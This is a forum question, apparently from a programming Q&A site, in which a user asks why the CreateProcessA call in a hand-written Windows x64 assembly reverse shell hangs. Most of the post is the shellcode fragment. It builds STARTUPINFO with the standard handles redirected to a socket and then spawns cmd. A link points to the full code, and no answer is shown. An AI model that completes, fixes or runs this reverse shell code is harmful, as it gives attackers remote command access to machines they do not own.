when writing 64bit reverse shell in assembly got stuck at createrprocessA api

231 Views Asked by At

hello i am writing windows 64bit reverse shell in assembly and after gett connected to the targetmachine ip, i want to create process to spwan a shell, fistly i try to write startinfo struct for createprocess api, but after then i pass all the parameters to the function but it doesn't work, and here is full code https://pastebin.com/6Ft2jCMX

;STARTUPINFOA+PROCESS_INFORMATION
;----------------------------------
push byte 0x12                  ; We want to place (18 * 4) = 72 null bytes onto the stack
    pop rcx                         ; Set ECX for the loop
    xor r11,r11
push_loop:

    push   r11                      ; push a null dword
    loop push_loop                  ; keep looping untill we have pushed enough nulls
lea r12,[rsp]
  
mov dl,104
  
xor rcx,rcx
mov [r12],dword edx
mov [r12+4],rcx
mov [r12+12],rcx
mov [r12+20],rcx
mov [r12+24],rcx
  
xor rdx,rdx
mov dl,255
inc rdx
  
mov [r12+0x3c],edx
mov [r12+0x50],r14 ;  HANDLE hStdInput;
mov [r12+0x58],r14 ;  HANDLE hStdOutput;
mov [r12+0x60],r14  ;HANDLE hStdError;


;createprocessA_calling
sub rsp, 0x70

push 'cmdA'
mov [rsp+3],byte dl
  
lea rdx,[rsp]
inc rcx
mov [rsp+32],rcx
xor rcx,rcx
  
xor r8,r8
  
mov [rsp+40],r8
mov [rsp+48],r8
mov [rsp+56],r8
lea r9,[r12]
mov [rsp+64],r9
lea r9,[r12+104]
mov [rsp+72],r9
  
xor r9,r9
  
call rbx ;createprocessA

so at last when i call the createprocessA it got stuck

0

There are 0 best solutions below